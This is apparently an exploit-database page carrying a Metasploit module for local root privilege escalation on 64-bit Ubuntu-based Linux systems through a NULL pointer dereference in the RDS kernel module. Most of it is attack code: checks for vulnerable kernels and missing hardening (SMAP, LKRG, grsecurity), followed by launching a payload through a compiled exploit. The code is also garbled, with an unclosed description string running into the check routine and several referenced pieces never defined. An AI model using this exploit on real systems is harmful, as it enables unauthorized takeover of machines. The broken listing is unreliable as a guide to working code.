Exploits / Vulnerability Discovered : 2020-01-23 |
Type : local |
Platform : linux
This exploit / vulnerability Reliable datagram sockets (rds) rds_atomic_free_op null pointer dereference privilege escalation (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Compile
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a NULL pointer dereference in the `rds_atomic_free_op` function in the
Reliable Datagram Sockets (RDS) kernel module (rds.ko).
Successful exploitation requires the RDS kernel module to be loaded.
If the RDS module is not blacklisted (default); then it will be loaded
automatically.
This exploit supports 64-bit Ubuntu Linux systems, including distributions
based on Ubuntu, such as Linux Mint and Zorin OS.
version = "#{kernel_release} #{kernel_version.split(' ').first}"
unless kernels.include? version
return CheckCode::Safe("Linux kernel #{version} is not vulnerable")
end
vprint_good "Linux kernel #{version} is vulnerable"
if smap_enabled?
return CheckCode::Safe('SMAP is enabled')
end
vprint_good 'SMAP is not enabled'
if lkrg_installed?
return CheckCode::Safe('LKRG is installed')
end
vprint_good 'LKRG is not installed'
if grsec_installed?
return CheckCode::Safe('grsecurity is in use')
end
vprint_good 'grsecurity is not in use'
unless kernel_modules.include? 'rds'
vprint_warning 'rds.ko kernel module is not loaded, but may be autoloaded during exploitation'
return CheckCode::Detected('rds.ko kernel module is not loaded, but may be autoloaded during exploitation')
end
vprint_good 'rds.ko kernel module is loaded'
CheckCode::Appears
end
def exploit
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# mincore KASLR bypass is usually fast, but can sometimes take up to 30 seconds to complete
timeout = 30
print_status "Launching exploit (timeout: #{timeout})..."
output = cmd_exec("echo '#{payload_path} & exit' | #{exploit_path}", nil, timeout)
output.each_line { |line| vprint_status line.chomp }
end
end